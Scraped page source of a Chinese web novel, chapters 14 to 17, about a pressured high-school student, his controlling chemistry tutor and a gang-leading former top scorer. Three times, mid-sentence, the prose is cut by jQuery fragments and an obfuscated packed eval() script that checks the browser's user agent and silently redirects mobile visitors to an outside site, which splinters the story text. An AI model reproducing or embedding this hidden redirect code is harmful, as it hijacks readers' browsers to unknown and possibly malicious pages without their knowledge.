$(''#content'').append('' 录了年级前十的土著们各科成绩，谁占领王座次数最多，谁曾经一骑绝尘，都被他记录遍了。顶上被用大号字体标注了“纪封道”三个字。不出所料，吴自兴打开了十七班的表格，滑到中央，赫然显示着纪封道无比漂亮的分数。 刘永凡这人看上去没什么脾气，只有陈向然天天看着他，知道他爱较劲。以前初中他从没拿过第一以外的名次。于是眼光颇高，好像只有这个占据了年级第一整整三次的纪封道能入他的法眼。 陈向然正在看错题，倏地听见声音。两秒后反应过来，是刘永凡在和自己说话。 “听说你经常出校门？”刘永凡一手握笔，一手扶着鼻梁上那副酒瓶底。 教室里窸窸窣窣议论这次的考试。陈向然没有在意，他和平常一样爱走神。 吴自兴和往常一样，从讲台上下来，经过叶知身边，一定要伸手碰掉她一块橡皮，或一支笔，再回头冲她来一个鬼脸。伤害性不大，却极其烦人。起初有男生替她说话，被一部分女生调侃舔狗之后，再没有人出声了。 叶知人缘不好，陈向然不理解为什么。只听程希说过：这妹子不说话，看上去不爱搭理人的样子，混不熟，成绩也不让人慕，哪哪都没有让人接近她的理由啊。还不爱笑，浪费一张脸。 在这件事上，刘永凡倒是很尊重叶知，因为相貌，或者因为可以当参考答案的语文试卷。 他没回答，刘永凡便追了一句：“还有人传，你和威吓过胡晟学长的那帮地痞有接触。经常这样可不好。” “经常么？” “几乎每天。” 陈向然写字的笔画粗顿了一下。 他正常出校门的次数其实不多，几乎每天，是从宿舍区边上的围墙翻出去的。 他还是很冷静。因为刘永凡这个人自从进了风自委，学来的套话本事一天比一天高。他一定是从他回教室的方向和时间里看出什么端倪，却不敢指控。 陈向然笑笑说：“要扣分？学校什么时候又暗改规则，不宣布就可以直接处罚？” 这是海中人人诟病的传统了。 刘永凡皱了皱眉，说没那回事，提醒你而已。便不说话了。 同桌关系一般，平时客气，互捡只笔、互看缺少的课堂资料可以，但不存在天南地北的聊天。 陈向然从小脱离同龄人，不与人套近乎。尽管在他人看来他极受簇拥，但在傍晚放学的自由一小时里，他还是独自一人逆人流行走在后街里。 他知道那股不好的感觉来自哪里了。 齐怀生消失的这段时间，他也会回到遇见齐怀生之前的日子，借巷头酒吧角落的卡座，独自画上一个小时，再独自回校，这本无可厚非。 但他发觉心里的某个角落，滋生出一丝很小的失落。 14. 乖巧 一周过去，两周过去，他再没有见过齐怀生。 没有在日暮下的老街、酒吧和小摊店铺前看到他的身影。 谭持说遇过他一回，给他结了先前欠下的工资——按陈向然说的，提高他的报酬。 谭持问他，什么时候再回来驻唱。他只说不知道，便告辞了。 最近高一校内放假，腾出教室给高三进行联考考试。是和其它省重点学校联合出题的考试，大多偏题、难题。 这个考试高一也躲不过。老师们会从试卷里挑出对应内容，当做课后作业，提前教授一部分高二的课程。 陈向然经过考场，出来的学长学姐都在哀叹。走廊就有个人对着复习资料抽泣，和朋友说忘记了某个知识点，考试时瞎猜，猜错了。一番自我“检讨”，状态还未调整过来，又该继续战下一科。 “下课。” 严霖辉把一沓卷边的旧课本敲整齐，擦净白板上的马克笔痕迹。今天的化学补习结束。 天光被树叶筛碎，被阳台栏杆遮挡，进入室内只剩下薄薄的片光片影。严霖辉的宿舍朝向东北，在里面坐上个把小时，仿佛提前入冬。陈向然看向墙上“咔嗒、咔嗒”摇摆的老式钟表，依然准点下课，但今天的写题时间比平时延长了十分钟。 一屋子收试卷、拉拉链的声音。严霖辉又说：“下个星期啊，我们补习地点可能要换。到时……孙临潼，就麻烦你跑一跑了，给老师传通知。” “好嘞老师。” “怎么样啊，陈同学？”严霖辉一出声，就是又要留他了。 陈向然仍是最后一个走的，他看着孙临潼拉着叶知并肩离开。这个过分开朗的阔少爷出门的一瞬，背后给陈向然比了个大拇指。 他轻叹，这么大个灯泡，他是一点不想做。 严霖辉隔三差五就要留他，关心他的学习情况，详细到他每天的学习安排，和每次化学考试试卷上的某两分、某五分。像他身边一个冰冷冷的量化检测仪。 “我看你这次月考，丢分丢得很冤枉。那都是我上课提醒过很多遍的，啊，如果不会，还可以理解，粗心大意就该骂。你牢牢记住了，下次再错我就倒扣你分，扣到你知道心疼为止……” 最后他提到了林岚的期许，陈向然一点不意外。她甚至放弃了电话寒暄，选择直接在他身边安插“眼线”。 他揉了揉太阳穴，眉心一跳一跳地疼。 怎么样都好，都行，他想，只要他的鲸、他的画具颜料还在某个角落里等他。 只要这个“角落”还没有崩塌。 严霖辉的训话袭来时，那片深海及时地麻木他的神经，他轻盈地，游荡在自己的世界里。 “你艺考培训，找着了吧？”严霖辉忽地扯向别的话题。 幻境“唰”一下敛去，陈向然从一片勾勾叉叉的化学试卷里回神，抬头看他。 严霖辉还是戴着那双金属方框眼镜，用他眼白比黑仁多的眼睛盯住他，拧开保温杯，边喝茶还能边直勾勾地和他对视。 “嗯。”陈向然点头。 “咱县里的兴趣班美术老师？”他放下保温杯笑了笑，“你如果是一时兴起——” “在市区，一个教授。” 严霖辉嘴里鼓着一大口热茶，眼睛有一瞬睁大，哗哗拧上保温杯，艰难地吞下茶水，用充满湿度的嗓音说：“自己找的？” “同学介绍。” “你妈妈还不知道吧。” “嗯，还没说。” 这件事他想了很久。 梦萦一般思忖了半来月，从蠢蠢欲动到眼下，他又犹豫半晌，说：“请先不要和我妈说。” 说出这句话时，他感觉到愧疚。 像是背叛了什么，愧疚感如寄生虫一般细细啃咬他的胃腹。这可能是他独自决定的第一件事。不同林岚商量，甚至不让她知道。 这样的背叛感让他身心像被按摩师狠狠揉搓，痛而舒畅。 “保密？”严霖辉只是不置可否地笑笑，摇摇头，长出一口气，“平时挺乖一孩子，也玩儿地道战啊。”他抽过他的试卷，翻过来翻过去，粗略看了他整张试卷的扣分情况，好像在分秒之间便全部掌握，弹了一下，又还给他，“嗐，知道你不是什么听话的。我有一校外的学生，说认识你。你有点儿名气我知道，但他说你俩是熟人。” “谁？” “叫什么齐生……哦，齐怀生。挺聪明一孩子，就是看上去……嗐，也不是什么好蛋。” 陈向然猛然收回游移在阳台外的目光，看向严霖辉。 原来他在校外也有学生。 有的老师会把补习班办到校外去，借“信海中学老师”的名头高价招收普通高中的学生。这是很多人知晓的事。外校的看到更好的教学资源终于向他们敞开，无论如何总得一试，试错成本却是整个高中三年的岁月。 噱头高挂就有人蜂拥而至，老师暗中偷工之类也不那么重要了。职业首先用于谋生，陈向然都明白。 他更在意严霖辉口中的齐怀生……他已经半个月没有看见齐怀生了。 “他补习？”陈向然往前倾了倾身，“什么时候开始的？” “很久啦。在你进海中之前。”严霖辉忽然面露愁容，“就是他最近，突然说腿伤了，不上课了。我说这没问题，换个地儿就是了，我上门，不费他腿。但他坚持不补了。” “以后都不补了？” “不确定。你俩认识，你帮老师个忙，问问他怎么了，行吧？” 陈向然也很想问他，可现在连见他一面都难。 他的鲸鱼又来了，在两天后的周一晨会上，陈向然在会中差点睡着了。 它的吟唱声第一次如此杂乱，微微刺痛他的大脑。他的幻想仿若丝线，在意识周围飘动，在越来越难以自控。 幻听声太吵，他第一次想要杀死他的鲸鱼。只是一伸手，鲸鱼便一个甩尾，隐没在深海黑暗中。 迷迷糊糊睁眼，只见校长在升旗台上，翻着讲稿。黎明微弱的天光下，校长眼神疲惫，勾着生硬的笑，像冷月下枝头的巫师猫，亲昵地问候他们学习和生活是否愉快。 最后例行宣布新增校规，和新的处罚名单、警告名单。 耳边又出现声音，这回不是鲸鱼，这声音清晰地问：“你怎么啦？” 扭头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301933|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是孙临潼。而后他迟钝地发觉手腕被抓着——他拧着拳，手背暴起血管，就举在自己太阳穴边。 头一阵短促的疼。 天亮了，阳光轻薄如纱，缓缓蔓延到身上，他在光亮中清醒过来，看清了孙临潼的脸。 “干嘛打自己脑袋？”孙临潼说。 “没。”陈向然放松了拳头，抽出手，“起太早，困。” “靠，学霸就是学霸，又开始四点读书了。我就好奇了，学校也没让人这么早起啊，五点半的起床铃，非得四点起来嘛？” 孙临潼喜欢调侃任何人是学霸，因为他自己就是在差了一百多分的情况下，硬靠关系进了海中。要不是他为人大方，善交际，收服一群朋友，这种事够全年级议论个三两年。 “考差了，得多花点时间。” “啧啧，这还差，你排名在985名次线内吧？非得C9、清北嘛？” 倒不是非得清北什么的。仅仅是保持排名就费尽了气力。他体内像是有一台永动机，听到严霖辉，或是林岚，又或是谁，一遍又一遍的“意见”、“建议”、“改正”，身体自动想从床上翻起来，挑灯苦读。 他有时觉得自己像个透明人。 所有骨骼、经络、血液暴露在那些人的眼皮底下——都不是自己的，是周围安装的程序。就像赛博朋克世界里的人体机械改造。他的思想、行为由程序编码，人生也就沿着程序进行。 一整个白天，鲸鱼都在深海里吟叫。游击似的，突然就令他脑袋一嗡。午睡闭眼的一刻，像一道锃亮的闪电划过大脑，不得不醒来。 傍晚，他从食堂出来，看见正要出校的叶知。 刘永凡说她最近经常出校门，一周大约要出个三四回。但凡经过门房都能看到登记册上，一整列都是保安大叔手写的“叶知”二字。大概是齐怀生受伤那天开始的。 也不知齐怀生怎么样了。 他许多天没去后街了，画具寄放在巷头酒吧，也没去拿回来。忽然想出去走走。 校外的空气松快许多。他仍顺着下山的路径走，叶知也走了相同的路线。进入后半段的闹市，少了大树绿植，多了民居矮房，黄昏小镇的生活气息，和小地方鱼龙混杂的腌臜气氛扑面而来。 他无意跟踪，于是走着走着，叶知一拐弯，消失了，陈向然也没有深究她去了哪里。 进入小镇，他闪身躲到粗壮的树干后。 是申恺他们，一群人叽叽喳喳在交谈。他隐约听见自己的名字，于是也不躲了，大步走向他们。好久没见这几个烦人家伙，还有点想他们了。 他一个响指，一群人被摁下静音，同时看了过来。 “说什么呢？又要抓我见生哥，你们生哥那么多问题嘛？” “靠，自己送上门了。”申恺指着他，回头冲一众弟兄喊，“别让他跑了，生哥等他半个多月了。” 夕阳下的长影汇聚成一头黑兽，朝陈向然游来。他越过群人，望见长街尽头缓缓走来的瘦高的人影。 齐怀生在抽烟，看到他的一瞬间怔住了，仅剩的烟头顿在唇齿间。 烟灰落到虎口，他都没反应过来。 15. 真实 齐怀生背着光，投下一身阴影，显得脸更沉闷了。仔细一看，他腿脚不大灵活，偶尔的歪斜显出一丝滑稽。其他人让开道，他们便隔着这条人道相望。 还是老样子，那个雨夜共伞的一时密切，在阳光下一照，就仿佛被两个少年的骄傲灼烧，蒸腾消失了。 “又见面了？”齐怀生先开口了。 “这不还没还你毛巾呢。” 齐怀生微微颔首，盯着地面，嘴边飘着刚抽的烟雾，薄薄一层灰白色，模糊了发出的两声笑。他边笑边扔了指间的烟头，碾灭，动作干脆，好像瞬间就变得不需要了一样。 “腿瘸了，没上课？”陈向然挑起眉。 齐怀生听出了调侃：“上着呢。” “有人说你不补习了。” 陈向然一句话，齐怀生迎来了在场所有人的目光，他避开这些视线，刚刚端烟的手揣进兜里，声音很小，闷在喉咙里：“草……姓严的又多管闲事。” “干嘛不上啊？” “你也准备多管闲事？” 陈向然一手叉腰，老样子撒泼：“你无视我的要求？” “我不需要向你打听人了。”齐怀生闷闷地说着。 陈向然还想把玩笑继续开下去，就像他们先前那样针锋相对的游戏。但他又知道，齐怀生身上有什么东西不一样了。 他说过，打听那位他所欣赏的萨克斯手，与他的“另一个前途”有关。大抵与音乐、与“一生不能舍弃”的理想有关。一个萨克斯手，打不打听不重要，但如果他所谓的不再打听，是他再也不会拾起那把吉他、在深海般的湛蓝里歌唱…… 而他分明有着那样的天赋。 少年人的自尊心横亘在中间，陈向然觉得自己好像永远不会了解他背后的世界，就像他也从没交出过心里那片深海。他隐隐觉得他们之间被什么东西隔开，只是偶然地出现在两个世界的交界处，才有一步之差的接近。 “没什么事就回去吧。”他在下逐客令。 “有事。” “什么事？” “毛巾我不想还了。”陈向然无赖似的摊手，“你毁约。” “毁什么约？” “你答应我给谭哥他们揽客，可你不唱了。什么不能舍弃的东西，”他顿了一下，摆摆手，“也就这样。” 齐怀生眉心一压，眉峰一耸，刹那间恼怒。手轻轻一挥，一群人便活动着筋骨朝他包围过来。 陈向然后退，沉着地微笑：“生哥是想白白打听，不是想放弃。” 他还是那只和景物融为一体的花蝴蝶，故意话里藏话。齐怀生眼神复杂地盯了他很久，苦笑出声，下一秒，一群人呼呼哈哈涌上去抓人，陈向然转身就跑。 申恺还留在原地。 他抖了抖腿，裤腰间的十字星挂链发出叮铃叮铃的声响，他朝某条巷喊：“可以出来了，小叶。” 叶知从一辆手推车后面出来，手里提着东西，远远看陈向然他们闹腾，用手遮遮脸上的阳光。 远处的人被火热的夕阳融作一团，一下滚进一条侧巷，通往小镇上唯一的那条河。她记得那里是一片荒草地，横过一条废弃铁轨，和早就老朽塌方的隧道，河这边则是大大小小的工业园区和废铁厂。 “你支开他？”叶知看着齐怀生。 “嗯。”齐怀生看向她手里提的袋子，“又什么事？” “外伤药。” “我有。” “这个牌子药效好。” “很贵吧？”齐怀生眯起眼。 申恺左看看，右瞟瞟，生哥什么脾气他了如指掌，气氛不对，主动当起和事佬。 “来，小叶。”他这么称呼叶知，接过她手里的东西，“这个重，我拿。” “谢谢恺哥。” 申恺：“小叶，生哥是关心你，怕你多花钱，生活费不够了怎么办。” “没事，不多钱的。”叶知只怯怯地看着齐怀生，“够用。” 齐怀生听她轻声细语，到后面蚊子哼一样，驳斥不下去了，轻轻动了一下伤腿——他先前就伤过这处，被那些小混混偷袭的。康复之后，在潮湿的天气里还是偶尔犯疼，齐卫平老同志再补这一棍，就是在蝉翼上穿针，轻而易举就能让他重新伤一回。 老父亲骂儿子脆，毕竟他是一位老渔民，一半以上的人生都在那片生他养他的海上度过，遇到的来自自然的鞭笞绝不比这一棍轻。齐怀生不敢解释，父子分离的时间里他从来不提自己过着什么生活。可齐卫平不知哪来的兴致，去石中参加了一次家长会。 然后是那次偶然的现行，那天他逃了化学课——他从来不听石中的化学课——到巷头酒吧驻唱。 …… “没人知道吧？”齐怀生瞥了叶知一眼，没头没尾问了这么一句。 “没啊。” “跟陈向然什么关系？” 叶知生性敏感，被他这么淡淡地一问，脸上霎时飘了一片红霞，话都不利索：“就……就同班同学啊。” “他追你？” “没有。”叶知又赧又恼，平时淡薄游离的神色全无，生气地不看齐怀生了。 齐怀生叹了口气：“你好好遵守我们的约定，别的事我管不着。” “还是小心一点。”申恺站到叶知身边，低头用哄人似的语气说，“你们学校也太他妈变态，跟我们有接触的都叫‘勾结’，根本是瞧不起人。把你连累了就不好了……” “啪”，齐怀生甩着伤腿给了他一脚，申恺趔趔趄趄从叶知身边退开，有些不满地揉了揉腿。 “钻狗洞，爬天窗，不干正事，就别怪别人瞧不起你。” 叶知疑惑地眨眨眼：“钻狗洞？” 申恺一愣，着急忙慌解释：“嗐，是他们，完全不顾我的劝阻，钻进你们菜园……” “那天窗呢？”齐怀生追问。 申恺被四个字堵住了嘴，默默看他生哥，脸上就差两行泪。 叶知露出少见的笑，少女掩嘴弯起眉眼的样子确实动人，笑声像月光下潺潺的泉水，夜色里叮咚回响。给申恺看愣了。 “恺哥还是那么有意思。”她说。 申恺也跟着笑笑。 齐怀生看着他们两个，叹了口气，揉揉眉心：“要迟到了吧？” “嗯。” 叶知转身离开，走出去十来米，齐怀生忽然喊住她。 “等等。” 叶知回头。 “把……陈向然的校卡，一起带回去。” 叶知茫然：“啊？可他没说……” “带回去。”齐怀生说，“我和他说。” 陈向然在巷子里耳听八方。 他用尽一切“捉迷藏”的办法，只要让他们扑空，心里就有种莫名的愉悦。 沿着脚下的这条巷子往前奔，翻过一座铁门，就到了以前废弃的货仓。他踩着水管阀门和生锈的铁窗窗台，顺着水管翻上旧机房，再从房顶跃下集装箱顶部。他们来了，身手比他更矫捷。他从集装箱上跳下，没站稳，跌倒在泥土上。 跟这些人捉迷藏的代价，就是身上跌了好几处，跌得疼。但他在某一刻，貌似眷恋上了这种激烈到有点陌生的疼痛。 像是一种释放。 他灰头土脸地迎上了一个抽高的身影，齐怀生站在对面挡住去路。他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301934|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄弟从陈向然身后来，两面包抄。 “跑哪去？”齐怀生朝他抬抬下巴。 “你猜我跑哪去？”陈向然抹去脸上的灰，歪了歪头。 齐怀生又一挥手，他的兄弟们顺着他的指向回去了。 陈向然忽而眼睛一转，趁他不注意往河滩的方向跑。齐怀生追上来，他便左弯右拐穿梭在集装箱群，翻过石砌的围栏，落在河边的石滩上。 他被集装箱的边角划破皮肤，又猛地摔进尖锐的砂石，踩着湿滑的河滩，膝盖磕在石头上。齐怀生也从上面翻跃下来，陈向然躲过了他的擒拿。 在学校里憋了这多天，他只感到兴奋。 他的童年是高楼、兴趣班、教室，是日复一日的阅读和演奏。没有一切风雨、荆棘、水流和土地。 原来人生没有疼痛竟也那么乏味，那么禁锢。 他手上见了血，流动的，粘稠的，染红了白色的碎石子。最真实的疼痛传遍每一根神经。只有这时候他才可以感觉到，砂石是尖利的，知道河滩很滑，河水冰凉刺骨。不是书上干巴巴的图片和百科文字，也不是日灯光下死寂的教室。他冷、他痛、他脏，然后他产生了解放灵魂的快感。 他因活着的感受而兴奋。 齐怀生把他从湍流边缘拉上来。他还想跑，齐怀生把他抓住，压倒在地上，狠狠锢住他，说太危险了，别往那边跑。 才发现他没有用力挣扎。陈向然被他裹在身下，那双乌黑沉寂的眼睛一笑，眉目飞扬，星夜一般。 他说：“跑这么久，腿疼吗？” 不挣扎是怕他再伤着。 齐怀生说：“不疼。差远了。” “比什么差远了？” “放弃。” 相视片刻，哈哈大笑，天地间宁静广阔。他们有种若隐若现的默契，此时只有草木和大山知道。 风吹乱了发丝，被汗水和河水黏在脑门上，陈向然知道自己一定狼狈极了，刘永凡恐怕整个晚上都要忍受他一身河里的腥臭味。齐怀生本毫发无损、一身干净，也和他一起滚到了河边，他的膝盖跪在他腿侧，光滑的鹅卵石漫了一层极浅的河水，浸湿了他的裤子。 “起来，我要迟到了。”陈向然笑着推他的胸膛——他胸口的衣服已经被汗濡湿，带着河边青苔的气息。 “还记得迟到？” “快点。” “别担心。”他不起来，反向下压，“校卡我让你同班同学帮你拿回去了。” 陈向然将信将疑：“什么同班同学？” “你信我么？” “信。” “那就按你平时的时间回去就好。” 齐怀生似乎变得有点难缠。 潺河、荒草、废弃的铁轨、隧道、天边日落，他们并排躺在石头上，沐浴落日光辉。陈向然稍稍偏头就能望见山顶的大铜钟、寺庙、祠堂，想着庙宇里的檀香气。齐怀生身上就总有这种檀香气，他家里或许有人也惯于日常的祖先祭祀。 草根戳刺在脚踝上，石头冰凉地贴在腿肚子上。 他想起那天在艺考培训班，陆引说他名字好，是“向往自然”的意思。名字是外公外婆起的，他也不知道他们起名时，是不是真的想到这层意思。现在天人两隔，再问不到了。 但他喜欢陆引的解释。 铜钟长鸣，他们在声波的笼罩下闭了会眼睛。远山飞鸟，扑棱棱成群结队飞过高山，向沧海去。 他得到久违的平静。 他发现齐怀生像是他真实的另一个世界。只要在齐怀生身边，他的生命就不会是死气沉沉一片。 它会流动起来，像流水淌过鲜艳的花苞。 16. 状元 严霖辉说可能会换上课地点，就真的换了。 原因是陈向然没有想到的。 高三联考，学校平均分没有达到学校预设的目标，于是全校都要进一步紧缩时间。中午必须待在教室自习，不允许去除教学楼外其它地方，包括宿舍。部分老师也取消午休时间，巡逻教学楼。 为了显得人性化，学校允许随时趴桌睡觉。 规定开始实施那会儿，南方沿海正好迎来了冬天，空气里裹挟着潮湿的凉意。天空依旧朦胧，苍白发灰。海中学子在寒风中依然步履匆忙，要快速、高效，还得规格化。 一个临时性的规定，没人知道何时解除。陈向然每天浸泡在补习课程里，补习地点从宿舍转移到教室，补习时间也提前了。吃完饭直接到教室，缩减了洗澡的时间。严霖辉从政教处要到了空教室的钥匙，将补习生聚到教室的一角，围作一圈，照样上课。 这几天，陈向然有意无意地观察着其他人，像观赏一个动物园。 第一天，大家怨声载道，乃至有人在宿舍走廊拉劣质横幅痛骂学校，什么“校长的心是冷的，脑门是热的”诸如此类调侃；第二天有人商量着向学校提出意见，甚至想着向教育局反映；第三天有人说别不懂事了，忍忍，反正总有一天会解除的；第四天撒完了气，大家开始说中午应该写英语，更有助于养成高考两天的思维习惯。 一周过去，许多人适应了。 事情好像就这么冷却下来了。没有劝说、压制，也没有更多强迫。校长在晨会上赞赏大家优秀的适应力。 “草，可是这不合理呀。” 陈向然和孙临潼、叶知，化学补习的三人组，在严霖辉和其他人离开这间走廊角落的空教室后，根本没有回班里的意思。 孙临潼强烈表达不满：“谁规定每天除了吃喝拉撒，就只有课本习题了？” “你第一天上学么？”陈向然晃动手里的笔，一边看窗外。窗口有几根树枝，枝梢吊着一片湿糜的枯叶。 他晃啊晃，就在空气里把窗外的萧瑟描摹了一遍，在脑海里调出凋敝的枯褐色。 “都是为了出成绩呗……” “成绩成绩。天天吃饭狼吞虎咽，澡都洗不上，顿顿面包、饼干，一大堆弄出胃病的。我们班学霸都躁郁症了。学校除了鼓励‘往死里学’，别的都是你适应力有待提高。” 陈向然垂眸看着自己画空气的笔尖，嘴里幽幽慢慢地念：“你说你们班林彬、王鹤、纪封道这些人？” “啊，咋了？” “个个至少年级前三十，你们班均分，靠他们拉上来的。” “陈向然你是不是故意唱反调啊，均分重要？” “重要，关系你们老师学期末奖金。” “靠。”孙临潼咬咬笔杆，把笔尖指向他，“你看着吧，上有政策，下有对策。” “你们……”陈向然倚着身后的课桌，扫视他俩，“不回教室？” “回什么啊，回去被监视么？”孙临潼转着笔，看着最近的周考试卷皱眉。他其实已经提升了一百来名，补习颇有成效。 “你呢叶知？”陈向然问。 “我……跟你们一起。”叶知笑笑，“其实我也不想回去。” “看吧。”孙临潼咧嘴，试卷推到叶知面前，“哎哎，这道，叶女神教教我呗。” 陈向然决定，在自己又亮得令人无法直视之前，赶紧离开这个是非之地。 他上了一层楼，没有回教室，想起了什么，反而下了楼。楼梯间无人，每走一步都有回音。快到一楼时侧头一看，叶知从楼下上楼了。一上一下，只点头就算招呼过了。 就这么一下擦肩而过，楼梯间的瑟风撩起她宽松的袖口，陈向然瞥见她手臂几块淤伤。 极深极深的紫红色，像是被紧紧勒扯过。手腕附近一道棕红色，像是结了一道血痂。 看到叶知，他就想起那天她也一路去了镇上，不知去了哪里。 还有莫名出现在他桌上的校卡。 “叶知。” 她回头，看着陈向然。 “那天我的校卡，是你帮我拿回来的？” 叶知睁着沉沉的黑眸，愣了好一会，眼睛又恢复了半阖的状态：“哪天？我不记得了。” “上上周。” “上上周是哪天？” 陈向然不再问了，再问她只会说，她替他拿过好几次，不知道他说的哪一天。 陈向然指着她的手：“你手伤挺严重，怎么了？” 叶知的手往袖子里钻了一钻，手指蜷起来攥住袖口，将伤痕遮挡住：“不小心……磕到课桌。”说完小跑两步上楼了。 他蹑手蹑脚离开教学楼。 一远离巡视老师的视线，便疯狂奔跑。不能回宿舍休息，他就去别的地方休息。他又从同样的地方翻墙出校。 补习成了他不被监视的保护伞。 午间的后街，阳光暖白，从居民楼的阳台流淌到枝头、电线杆、自行车和卖糖水的推车，在不锈钢车把上跳动，顺着街道的坡度汩汩而下。银杏叶被风卷起，天地流金，脚下落叶纷纷碎裂，一路漫过金黄色的咯吱声。 他穿梭在行人和叮铃铃的自行车中，跑得书包都在身后飞起来，像翅膀一样，心也跟着飞起来。刚拐过一个路口，就看见一个熟悉的人影迎面而来。 是严霖辉。 他突然刹脚，蹲到路边一辆摩托车后隐藏起来。 严霖辉走到一辆摩托车前，打开后箱，戴好头盔，撤了脚撑，把摩托从横七竖八的车丛中推出来。 三下五除二，陈向然把校服外套先脱了，匆忙地团成团塞进书包，又快速钻进路边一家饭店，等着严霖辉过去。 他躲在饭店角落，连服务生都没注意到他。外面叮铃一响，有人骑自行车到了店门口。 一个、两个……是一群人，还是老熟人。申恺的银链子阳光下叮铃一晃，墙砖上晃过一片光影。 严霖辉就这么从店前突突突开过去了。 玻璃门风铃一响，申恺几人闹哄哄闯进来，没有朝陈向然这边来，而朝着反方向蹦跳着喊“生哥”，一股脑围过去。 原来齐怀生已经在这待了很久。少年凝眉静思，笔尖促动，面前摊着习题册和草稿纸。 “干嘛哦，真不补习了。”申恺拍拍他肩膀，“你不来，我们弟兄几个可无聊了。” “生哥到底怎了？” “就是啊，补习这么好的聚会理由，以前我咋没想——啊！” 齐怀生用笔敲了这哥们儿脑门：“让你们补习，是要你们找点正经事做。” “那你自己怎么不学了？” 齐怀生没答话，翻了一页纸：“补习试卷借我，你们今天讲什么？” “函数。” “什么函数？” 给这群哥们儿问愣了。 “那个……”申恺挠了挠头，“那个L、O、G是什么？” “对数函数。” “啊对，就叫……” 申恺说一半顿住，回答的声音从身后来。集体回头，又看到那张皮笑肉不笑的脸。 陈向然两手戳着松垮垮的校服裤兜，毫无顾忌地戳进群人，看到齐怀生旁若无人地在稿纸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301935|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演算。 “真是学习小组啊。”他笑道。没人听出他究竟是讽刺，还是感叹。 “嚯，中午都能在这看见你。”申恺走向他，“讨抓呢？可别说你是来找我们聊天的。” “要聊天一边去。别扰我。”齐怀生眉头都快拧成麻花。 “收到，生哥，就交给我们哈。”一群人掰着手指骨，佯装狠恶，将他抓到饭店的另一端，团团围坐，看守囚犯似的。陈向然俨然习惯了这种“热情”的对待，瘫坐在卡座中间，膝盖一张一合地晃着。 “你们也补习啊？”他懒洋洋地问。 “当然，还是你们海中的老师。”申恺看上去还有点得意，“啧，这辈子能上上海中老师的课，值了。” “贵吧？” “嚯，那是你们老师，你都不知道？” “知道什么？” “严霖辉，说专门给石中低价开课，一节课四十。还不止教化学，只要想补的他都给补。我们隔壁班……那谁来着？” 申恺看向旁边的闪电头，陈向然记得他叫张亿。张亿说：“你说那天天裂着鞋尖儿的穷小子？马杰啊。” “对，就他。他都花钱补习了，还第一个。草，平时抠抠搜搜的，太阳打西边出来。”申恺笑着摇头，“一开始还以为姓严的虚假宣传呢，他就扑上去给大家试毒了，不知道图啥。” 张亿说：“嘿嘿，但凡便宜点，那小子都会去。学习学魔怔了。” 陈向然看着他们，如果不是刚才看见严霖辉从石中的方向来，他要以为这群人说的是另外的人。想想他在海中开一节课一百二、一百四的价，陈向然都在心里发酸。 “那你们怎么也……对学习感兴趣了？”陈向然问。 “哪儿呢。”旁边一哥们说道，陈向然记得他之前是有耳洞的，叫何晋，“你们海中的老师来告状，学校都把我们看紧了，平时想出来透口气都不行。生哥说了，到校外补习可以自由，我们就来了。” 陈向然“噗嗤”笑出来：“他说什么你们都听？” 申恺：“当之无愧的大哥，我们学校都听他的。” 张亿：“哎哎，恺哥夸张了啊，是我们片区都听他的！” 申恺斜睨这没谱的马屁精一眼。 何晋这人性子变得稳了，温润地笑笑：“就……被他揍的，想收他钱没收成，反被收拾了。我们本来跟红毛那些人混，他嫌我们没用，把我们踢出来。我们一下不知道跟谁了。他们不怕警察，一天到晚威胁我们，骗了我们不少钱——” “自信点，是被抢的。”张亿接话。 这些人的气氛好像都变得沉重了。申恺看着玻璃窗外。 何晋压低了声音：“我们偷过家里钱去付保护费，家里问起也不敢说，白挨我爸几棍打。后来生哥说愿意罩我们，前提是我们什么都听他的。当时就觉得，完了，”他笑了笑，轻轻一拍桌子，“这虎口，不入也得入。” “结果你猜怎么着，听他的，就是要跟他一起读书。”张亿哈哈笑起来，“那没问题，补习费，比保护费便宜多了。” 申恺仍旧望着外面的自行车群，车把上停了一只麻雀，扑棱一下又飞走了，镇上居民零星来往，这个钟点，来吃饭的不多了。 陈向然注意到他的神色，沉闷又复杂，心想如果不是在饭店里，他可能会当街点一根烟。 “他没跟你说过么？”申恺缓缓转回脸来，盯着他。 陈向然：“说什么？” “我们这届中考，生哥……”他回头望了眼齐怀生，确认对方在埋头做笔记，才说：“是整个石川的县状元。” 17. 安睡 石川到底是个小县城。 它的状元，陈向然不知道怎么评判。但有句话说得好，瘦死的骆驼比马大。石川的第一，他的中考分数至少比陈向然高一个档。 可中考分流，他还是被分走了。 “他其实考上海中了。”陈向然稍稍坐直起来，“对吗？” 